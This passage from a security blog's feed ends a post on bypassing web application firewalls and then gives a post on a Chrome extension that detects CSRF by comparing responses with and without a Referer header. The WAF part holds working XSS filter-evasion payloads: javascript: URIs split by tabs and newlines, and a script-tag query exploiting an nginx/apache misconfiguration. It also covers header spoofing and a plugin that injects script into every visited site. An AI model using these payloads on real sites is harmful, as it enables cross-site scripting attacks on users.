&lt;p&gt;Someone might ask: we’re talking about bypassing WAFs, why WebKit? Yes, you read that right, I’m not crazy. The reason to talk about WAF bypass from the WebKit angle is that the browser is what parses the code. Who in the browser does the parsing? WebKit. And once you’re in WebKit, you have to talk about its parser, the lexer, because that is what we abuse for the bypass.&lt;/p&gt;
&lt;p&gt;A simple XSS that bypasses a WAF:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;iframe src=&quot;java script: alert(1)&quot; height=0 width=0 /&amp;gt;&amp;lt;iframe&amp;gt; &amp;lt;!--Java and script are a carriage return; al and ert are a Tab--&amp;gt;&lt;/code&gt;
It pops an alert. Why can it pop an alert? There is a carriage return and a line break in there. To see why, look at how WebKit declares this in Source/javascriptcore/parser/lexer.cpp.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;while (m_current != stringQuoteCharacter) {
    if (UNLIKELY(m_current ==&apos;\\&apos;)) {
        if (stringStart != currentSourcePtr() &amp;amp;&amp;amp; shouldBuildStrings)
            append8(stringStart, currentSourcePtr() - stringStart);
        shift();
        LChar escape = singleEscape(m_current);
        if (escape) {
            if (shouldBuildStrings)
                record8(escape);
            shift();
        } else if (UNLIKELY(isLineTerminator(m_current)))
            shiftLineTerminator();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look at &lt;code&gt;isLineTerminator&lt;/code&gt; on the second-to-last line. Roughly: everything lives in one string, &lt;code&gt;while&lt;/code&gt; walks it character by character, and a line break is skipped. Then it is stitched into a string with no separator, so this XSS pops. Besides line breaks, what else does the WebKit lexer skip?&lt;/p&gt;
&lt;p&gt;Confucius said: carriage returns and other separators too.&lt;/p&gt;
&lt;p&gt;From the WebKit lexer, we can write dirtier XSS.&lt;/p&gt;
&lt;p&gt;One more caveat:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;iframe src=&quot;java
script:alert(1)&quot; height=0 width=0 /&amp;gt;&amp;lt;iframe&amp;gt;  &amp;lt;!-- this one can pop an alert --&amp;gt;
&amp;lt;iframe src=java
script:alert(1); height=0 width=0 /&amp;gt;&amp;lt;iframe&amp;gt;  &amp;lt;!-- this one cannot pop an alert --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the WebKit lexer, skipping carriage returns, line breaks, and other separators has a precondition: they must be wrapped in single or double quotes, or they are not skipped. Without quotes, the lexer treats the carriage return / line break as the end. If you run the snippet above, WebKit passes &lt;code&gt;java&lt;/code&gt; to &lt;code&gt;src&lt;/code&gt; as the URL. Skipping only happens inside quotes. Remember that.
One more thing:&lt;/p&gt;
&lt;p&gt;Carriage returns and line breaks only work inside quoted attribute values. If you put a carriage return or line break on the tag or the attribute name, you can relax: it will definitely not pop. Inside the attribute value, use them as you like. A space in the XSS will not pop, but a space between a character and a symbol will. See:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/iframe-xss-payload.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Note:
Skipping carriage returns and line breaks does not work on &lt;code&gt;on*&lt;/code&gt; events. For example
&lt;code&gt;&amp;lt;a href=&quot;java	script:alert(1)&quot;&amp;gt;xss&amp;lt;/a&amp;gt;&lt;/code&gt; pops, but the next one does not.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; onclick=&quot;aler	t(1)&quot;&amp;gt;s&amp;lt;/a&amp;gt;&lt;/code&gt; Add a Tab and it will not pop. Spaces between a character and a symbol still work.
The point of this section: if you want to play better, go down to the bottom layer. Look at the attack from there, and a lot of problems fall apart.&lt;/p&gt;
&lt;h2&gt;0x04 Bypassing WAF with an Nginx&amp;amp;Apache environment bug&lt;/h2&gt;
&lt;p&gt;This bug is pretty lame. You need an nginx&amp;amp;apache setup, and a sloppy admin. It is a bug that isn’t really a bug.
When the site uses Nginx in front and Apache behind, the conf has to hand PHP-suffix requests to Apache. Nginx decides whether the suffix is PHP from the URL. If the URL suffix is not PHP, it will not hand PHP to Apache.
Config:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/nginx-apache-config.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Looks fine at first glance. There is a hole here.&lt;/p&gt;
&lt;p&gt;I put an index.php under the test directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/index-php-source.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use the nginx&amp;amp;apache bug, plus the browser hiding the &lt;code&gt;index.php&lt;/code&gt; filename by default, and here is the hole.
Visit &lt;code&gt;a.cn/test/index.php?text=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; and it will not pop. &lt;code&gt;waf.conf&lt;/code&gt; blocked it.&lt;/p&gt;
&lt;p&gt;Visit &lt;code&gt;a.cn/test/?text=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; and it pops. &lt;code&gt;waf.conf&lt;/code&gt; did not block it, because nginx judged from the URL that this is not a php file, did not hand it to apache, and never hit the third location.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/xss-alert-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The point of this section: you don’t have to aim at the WAF the whole time. You can bypass it through a hole in the environment or a third party.&lt;/p&gt;
&lt;h2&gt;0x05 Starting from the HTTP packet&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Some sites put the WAF on the client. burp or fiddler is enough.
A lot of the time it looks like this:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;input type=&quot;text&quot; name=&quot;text&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot; onclick=&quot;waf()&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The WAF rules live in js. Submit a woaini string, intercept with burp or fiddler, rewrite the packet, resend. Client-side WAF gone.&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;Some sites do not filter crawlers from Baidu, google, soso, 360, and so on. Forge USER-Agent as a search-engine crawler and you bypass the waf.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Some sites use _REQUEST to take get post cookie. If the WAF only filters GET POST, you can put the attack in the cookie of the packet and bypass the waf.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Some WAFs filter GET POST COOKIE. You can still bypass. How?
If the site shows your IP or your browser, you can craft IP and user-agent. In PHP, both X_FORWARDED_FOR and HTTP_CLIENT_IP can be spoofed.
For more, see: &lt;a href=&quot;http://www.freebuf.com/articles/web/42727.html&quot;&gt;http://www.freebuf.com/articles/web/42727.html&lt;/a&gt; section 0x06.
The point of this section: the WAF is dead, people are alive. Open the thinking. Don’t follow the WAF’s path. Walk your own. That is the right way.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;0x06 WAF, you ain’t shit&lt;/h2&gt;
&lt;p&gt;A lot of people think bypassing a WAF means playing by the WAF’s rules. We can ignore it and attack anyway.
We attack through a third-party plugin. Plugins have a lot of privilege, and they can cross origin.
Ship js in the plugin ahead of time. After they install it, every site they visit is XSS’d.
Look at a Maxthon plugin:&lt;/p&gt;
&lt;p&gt;def.json&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/maxthon-def-json.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;test.js:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/maxthon-xss-js.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Put them in one folder, run Mxpacke.exe, get a Maxthon plugin.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/mxpacker-tool.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Double-click to install.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/maxthon-plugin-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/maxthon-xss-js.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is not a vulnerability. A plugin has to run js, and XSS is exactly running the js you specify on a site.
So this xss cannot be fixed, and chrome, Firefox, and the rest all have it.&lt;/p&gt;
</content:encoded><category>web security</category><category>waf</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Automated CSRF detection (part 2)</title><link>https://bugs.cc/posts/automated-detection-of-csrf-second-part/</link><guid isPermaLink="true">https://bugs.cc/posts/automated-detection-of-csrf-second-part/</guid><description>Automatically detect CSRF with a browser extension</description><pubDate>Thu, 23 Jun 2016 15:49:34 GMT</pubDate><content:encoded>&lt;h2&gt;0x00 Intro&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;The previous post only sketched the idea and the flow. This one goes into how to actually detect CSRF. Why no extension in the last post? False positives were high, and it could not detect Referer checks. This chapter focuses on “how to detect whether the other side checks Referer”. As far as I know, this is the first tool that detects Referer checks (shameless grin). Today I found that Tencent already shipped a similar &lt;a href=&quot;https://security.tencent.com/index.php/blog/msg/24&quot;&gt;product&lt;/a&gt; in 2013 (awkward…), but the approach and implementation are different. This chapter is Referer detection. Part 3 will strengthen token detection, aiming for 80-90%+ success (I actually forgot to write that while writing part 2, so it got pushed to part 3…). And Tencent’s product does not have these.&lt;/p&gt;
&lt;h2&gt;0x01 A few small changes&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;The previous black/white lists:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var placeholderFilterKeyword = [&apos;跳&apos;,&apos;搜&apos;,&apos;查&apos;,&apos;找&apos;,&apos;登陆&apos;,&apos;注册&apos;,&apos;search&apos;];  // useless-form blacklist, used to check whether this form is useful (input-based check); these keywords match Chinese form placeholder text
var actionFilterKeyword = [&apos;search&apos;,&apos;find&apos;,&apos;login&apos;,&apos;reg&apos;];   // useless-form blacklist, used to check whether this form is useful (form-action-based check)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The current black/white lists:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var placeholderFilterKeyword = [&apos;跳&apos;,&apos;搜&apos;,&apos;查&apos;,&apos;找&apos;,&apos;登陆&apos;,&apos;注册&apos;,&apos;search&apos;];
var actionFilterKeyword = [&apos;search&apos;,&apos;find&apos;,&apos;login&apos;,&apos;reg&apos;,&quot;baidu.com&quot;,&quot;google.com&quot;,&quot;so.com&quot;,&quot;bing.com&quot;,&quot;soso.com&quot;,&quot;sogou.com&quot;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This code largely decides the extension’s false-positive rate. You can change it until it feels right.&lt;/p&gt;
&lt;p&gt;New init variables:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var actionCache,actionPath;
var actionvParameter = &quot;&quot;;
var ajaxParameter = &quot;&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;0x02 Extension layout&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;Maxthon’s APIs are too thin. Without those APIs I cannot do Referer detection, so I am not writing a Maxthon version of the CSRF extension. Chrome extension layout:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/extension-file-structure.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;icons holds the extension icons. I am lazy, so I reused the AutoFindXSS icons.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;background.html lets us change the extension’s scope so we control it, and can use the &lt;code&gt;jquery&lt;/code&gt; plugin from Chrome APIs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;background.js is the “backend”, like a server. It handles data from &lt;code&gt;base.js&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;base.js runs after the site loads. For Referer detection, it sends data to &lt;code&gt;background.js&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;manifest.json is the core Chrome extension file. It configures the extension.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;manifest.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;background&quot;: {
    &quot;page&quot;: &quot;background.html&quot;,
    &quot;persistent&quot;: true
  },
  &quot;name&quot;: &quot;AutoFindCSRF&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;manifest_version&quot;: 2,
  &quot;description&quot;: &quot;CSRF[by:Black-Hole&amp;amp;158099591@qq.com]&quot;,
  &quot;content_security_policy&quot;: &quot;script-src &apos;self&apos; &apos;unsafe-eval&apos;; object-src &apos;self&apos;&quot;,
  &quot;permissions&quot;: [
    &quot;&amp;lt;all_urls&amp;gt;&quot;,&quot;tabs&quot;
  ],
  &quot;icons&quot;:{&quot;16&quot;: &quot;icons/icon_16.png&quot;,&quot;48&quot;: &quot;icons/icon_48.png&quot;,&quot;128&quot;: &quot;icons/icon_128.png&quot;},
  &quot;content_scripts&quot;: [{
    &quot;matches&quot;: [&quot;*://*/*&quot;],
    &quot;js&quot;: [&quot;jquery.js&quot;,&quot;base.js&quot;],
    &quot;run_at&quot;: &quot;document_end&quot;
  }]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;content_security_policy, CSP for short, restricts extension security.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;permissions is what the extension asks Chrome for.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;content_scripts means that on any scheme, after the page loads, jquery.js and base.js run. JavaScript &lt;code&gt;this&lt;/code&gt; points at the current page.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;background: JavaScript &lt;code&gt;this&lt;/code&gt; points at the extension. It handles communication between base.js and background.js.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The JavaScript from &lt;a href=&quot;http://www.freebuf.com/articles/web/107207.html&quot;&gt;the previous post&lt;/a&gt; all lives in base.js. The Referer check below is also written in that file.&lt;/p&gt;
&lt;h2&gt;0x03 Detect whether the target checks Referer&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;To keep the code below shorter, first assign the current form’s action to a variable:
&lt;code&gt;actionCache = formDom.attr(&quot;action&quot;);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Then match the action URL. Why? Because action can look like any of these:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#test&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;./test.php &amp;amp;&amp;amp; ./test(handled the same way)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;/test.php?a=11&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;test.php&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://baidu.com/?s=&quot;&gt;http://baidu.com/?s=&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We match with switch:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;switch(actionCache[0]){
    case &quot;#&quot;:
        actionPath = location.href + actionCache;
        break;
    case &quot;/&quot;:
        actionPath = location.origin + actionCache;
        break;
    case &quot;.&quot;:
        if(actionCache.indexOf(&quot;?&quot;) != &quot;-1&quot;){
            actionvParameter = &quot;?&quot; + actionCache.split(&quot;?&quot;)[1];
            actionCache = actionCache.slice(0,actionCache.indexOf(&quot;?&quot;));
        }
        if(location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length == 1){
            actionPath = location.href + actionCache.substr(1,actionCache.length-1) + actionvParameter;
        }else{
            actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache.substring(1,actionCache.length) + actionvParameter;
        }
        break;
    default:
        if(location.protocol == &quot;http:&quot; || location.protocol == &quot;https:&quot;){
            actionPath = location.href;
            break;
        }
        if(location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length == 1){
            actionPath = location.href + &quot;/&quot; + actionCache;
        }else{
            actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache;
        }
        break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the first character of action is &lt;code&gt;#&lt;/code&gt;, concatenate with &lt;code&gt;location.href + actionCache;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When the first character of action is &lt;code&gt;/&lt;/code&gt;, concatenate with &lt;code&gt;location.origin + actionCache;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When the first character of action is &lt;code&gt;.&lt;/code&gt;:
First use &lt;code&gt;indexOf&lt;/code&gt; to copy the query into a variable and strip it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(actionCache.indexOf(&quot;?&quot;) != &quot;-1&quot;){
    actionvParameter = &quot;?&quot; + actionCache.split(&quot;?&quot;)[1];
    actionCache = actionCache.slice(0,actionCache.indexOf(&quot;?&quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Details:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/action-query-split.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then branch on whether the current URL has a suffix:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length == 1){
    actionPath = location.href + actionCache.substr(1,actionCache.length-1) + actionvParameter;
}else{
    actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache.substring(1,actionCache.length) + actionvParameter;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length&lt;/code&gt; checks whether the current URL has a suffix. With a suffix the length is 2. Without a suffix it is 1. If there is no query, nothing extra is appended, because the init variable is already an empty string. Details:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/dot-action-with-suffix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/dot-action-no-suffix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Besides those, action can be a bare filename or a full URL. I put that on the switch &lt;code&gt;default&lt;/code&gt; branch, because &lt;code&gt;actionCache[0]&lt;/code&gt; cannot match it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;default:
    if(location.protocol == &quot;http:&quot; || location.protocol == &quot;https:&quot;){
        actionPath = location.href;
        break;
    }
    if(location.href.split(&quot;/&quot;).pop().split(&quot;.&quot;).length == 1){
        actionPath = location.href + &quot;/&quot; + actionCache;
    }else{
        actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache;
    }
    break;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First check whether &lt;code&gt;location.protocol&lt;/code&gt; is http or https. If so, use &lt;code&gt;location.href;&lt;/code&gt;. If it is not &lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt;, skip this &lt;code&gt;if&lt;/code&gt;. Then check whether the URL has a suffix. If it does not, run: &lt;code&gt;actionPath = location.href + &quot;/&quot; + actionCache;&lt;/code&gt;, as shown:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/bare-action-no-suffix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;When there is a suffix, run: &lt;code&gt;actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split(&quot;/&quot;).pop())) + actionCache;&lt;/code&gt;. As shown:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/bare-action-with-suffix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x04 Simulate form parameters&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;Code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var v = 0;v &amp;lt; formDom.find(&quot;:text&quot;).length;v++){
    var input = formDom.find(&quot;:text&quot;).eq(v);
    if(input.attr(&quot;name&quot;) != &quot;&quot;){
        if(input.val() == &quot;&quot;){
            ajaxParameter += input.attr(&quot;name&quot;) + &quot;=&quot; + &quot;15874583485&amp;amp;&quot;;
        }else{
            ajaxParameter += input.attr(&quot;name&quot;) + &quot;=&quot; + input.val() + &quot;&amp;amp;&quot;;
        }
    }else{
        continue;
    }
}
ajaxParameter = ajaxParameter.substring(0,ajaxParameter.length-1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The for loop walks &lt;code&gt;input&lt;/code&gt; tags with type text under the current form, then &lt;code&gt;var input = formDom.find(&quot;:text&quot;).eq(v);&lt;/code&gt; assigns the current input to &lt;code&gt;input&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then &lt;code&gt;if&lt;/code&gt; whether the current input has a name. If not, &lt;code&gt;continue;&lt;/code&gt; skips this iteration of the loop whose init variable is &lt;code&gt;v&lt;/code&gt;. If it does, check whether the input’s value is non-empty. If it is, append it to &lt;code&gt;ajaxParameter&lt;/code&gt;: &lt;code&gt;ajaxParameter += input.attr(&quot;name&quot;) + &quot;=&quot; + input.val() + &quot;&amp;amp;&quot;;&lt;/code&gt;. If not, append &lt;code&gt;15874583485&lt;/code&gt; to &lt;code&gt;ajaxParameter&lt;/code&gt;. Why something that looks like a phone number? High tolerance. Each assignment also appends &lt;code&gt;&amp;amp;&lt;/code&gt;, which is convenient for the ajax request below. The last &lt;code&gt;&amp;amp;&lt;/code&gt; still needs to be stripped, hence: &lt;code&gt;ajaxParameter = ajaxParameter.substring(0,ajaxParameter.length-1);&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;0x04 Talk to the extension’s background.js&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;The Referer-detection idea: send one ajax request from the current site. Referer is the current URL, which is normal, same as submitting the form. Then pass the action URL, method, and parameters to the extension, and send another AJAX from the extension. When a Chrome extension sends AJAX, Referer is empty. Two submissions: if Referer is checked, the response lengths will differ; if not, the lengths will be the same (there can be small differences, for example a clock on the page, so the lengths differ even without a Referer check; we add some tolerance below).&lt;/p&gt;
&lt;p&gt;Chrome gives extensions &lt;code&gt;chrome.runtime.sendMessage&lt;/code&gt; to send and &lt;code&gt;chrome.runtime.onMessage.addListener&lt;/code&gt; to receive.
First, the &lt;code&gt;chrome.runtime.sendMessage&lt;/code&gt; call in base.js:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;$.ajax({
    url: actionPath,
    type: (formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;get&apos;:&apos;post&apos;,
    dataType: &apos;html&apos;,
    data: (formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;&apos;:ajaxParameter,
    async: false,
})
.done(function(data){
    var firstAjax = data.length;
    var formCache = formDom;
    chrome.runtime.sendMessage({action: actionPath, parameter: (formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;&apos;:ajaxParameter},function (response) {
        if(Math.abs(firstAjax - response.status) &amp;lt; 10){
            formCache.attr(&quot;style&quot;,&quot;border: 1px red solid;&quot;)
        }
    });
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A form’s method is not fixed, so ajax &lt;code&gt;type&lt;/code&gt; is set with: &lt;code&gt;(formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;get&apos;:&apos;post&apos;&lt;/code&gt;, a ternary. When method is missing or get, type is get. When it is present (and not get), type is post.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;data&lt;/code&gt; option is the same idea, except there is no get/post choice, only &lt;code&gt;&apos;&apos;:ajaxParameter&lt;/code&gt;. When method is get, parameters already live on &lt;code&gt;actionPath&lt;/code&gt;. When it is post, pass the concatenated parameters as &lt;code&gt;data&lt;/code&gt;. Then measure the response length: &lt;code&gt;var firstAjax = data.length;&lt;/code&gt;. Why assign the form to another variable below? I am not sure. The Chrome API’s scope may be different, so using &lt;code&gt;formDom&lt;/code&gt; there gave the wrong result. Assigning to &lt;code&gt;formCache&lt;/code&gt; made the API behave.&lt;/p&gt;
&lt;p&gt;Then the Chrome API:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;chrome.runtime.sendMessage({action: actionPath, parameter: (formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;&apos;:ajaxParameter},function (response) {
        if(Math.abs(firstAjax - response.status) &amp;lt; 10){
            formCache.attr(&quot;style&quot;,&quot;border: 1px red solid;&quot;)
        }
    });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;action&lt;/code&gt; and &lt;code&gt;parameter&lt;/code&gt; are the payload. &lt;code&gt;(formDom.attr(&quot;method&quot;) == undefined) || (formDom.attr(&quot;method&quot;) == &apos;get&apos;)?&apos;&apos;:ajaxParameter&lt;/code&gt; is the same as above: no &lt;code&gt;parameter&lt;/code&gt; on get, &lt;code&gt;ajaxParameter&lt;/code&gt; on post. &lt;code&gt;response&lt;/code&gt; is the callback, like ajax &lt;code&gt;done&lt;/code&gt;, with the result from background.js.&lt;/p&gt;
&lt;p&gt;How background.js handles it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;chrome.runtime.onMessage.addListener(function(message,sender,sendResponse){
    $.ajax({
        url: message.action,
        type: (message.parameter == &quot;&quot;)?&apos;get&apos;:&apos;post&apos;,
        dataType: &apos;html&apos;,
        data: (message.parameter == &quot;&quot;)?&apos;&apos;:message.parameter,
        async: false,
    })
    .done(function(data) {
        sendResponse({status: data.length})
    })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;chrome.runtime.onMessage.addListener&lt;/code&gt; is the receive function, then AJAX. In &lt;code&gt;done&lt;/code&gt;, &lt;code&gt;sendResponse({status: data.length})&lt;/code&gt; returns the length of the extension’s AJAX response. base.js then gets that result from background.js, and we are back to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(Math.abs(firstAjax - response.status) &amp;lt; 10){
    formCache.attr(&quot;style&quot;,&quot;border: 1px red solid;&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Math.abs&lt;/code&gt; is absolute value. When the length difference of the two ajax responses is less than 10, there is no Referer check. When it is greater than 10, there is a Referer check. 10 is the tolerance.&lt;/p&gt;
&lt;p&gt;When a CSRF issue exists, the form gets a red border:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/csrf-form-red-border.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
</content:encoded><category>web security</category><category>csrf</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Automated CSRF detection</title><link>https://bugs.cc/posts/automated-detection-of-csrf/</link><guid isPermaLink="true">https://bugs.cc/posts/automated-detection-of-csrf/</guid><description>Automatically detect CSRF with a browser extension</description><pubDate>Wed, 15 Jun 2016 12:49:37 GMT</pubDate><content:encoded>&lt;h2&gt;0x00 Intro&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;I previously wrote an automated XSS detection extension. Today, an automated CSRF detection extension. CSRF shows up in several ways, and this post cannot cover all of them, for example JSON Hijacking (I will cover that in part 2 or 3). This chapter is about CSRF caused by form elements.
The biggest difference between detecting form CSRF and detecting form XSS is: XSS needs a submit to detect, CSRF only needs to analyze the form.&lt;/p&gt;
&lt;h2&gt;0x01 Preparation&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;If we are going to write this, we need a demo that approximates a real environment. As 0x00 said, this chapter is only about forms, so the demo is a pile of different forms. As shown:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF/demo-form-types.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This covers most form types you see on the web. If you notice a type that is missing, tell me and I will add it in the next version.&lt;/p&gt;
&lt;p&gt;First, iterate every form on the page. Code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;outerFor:
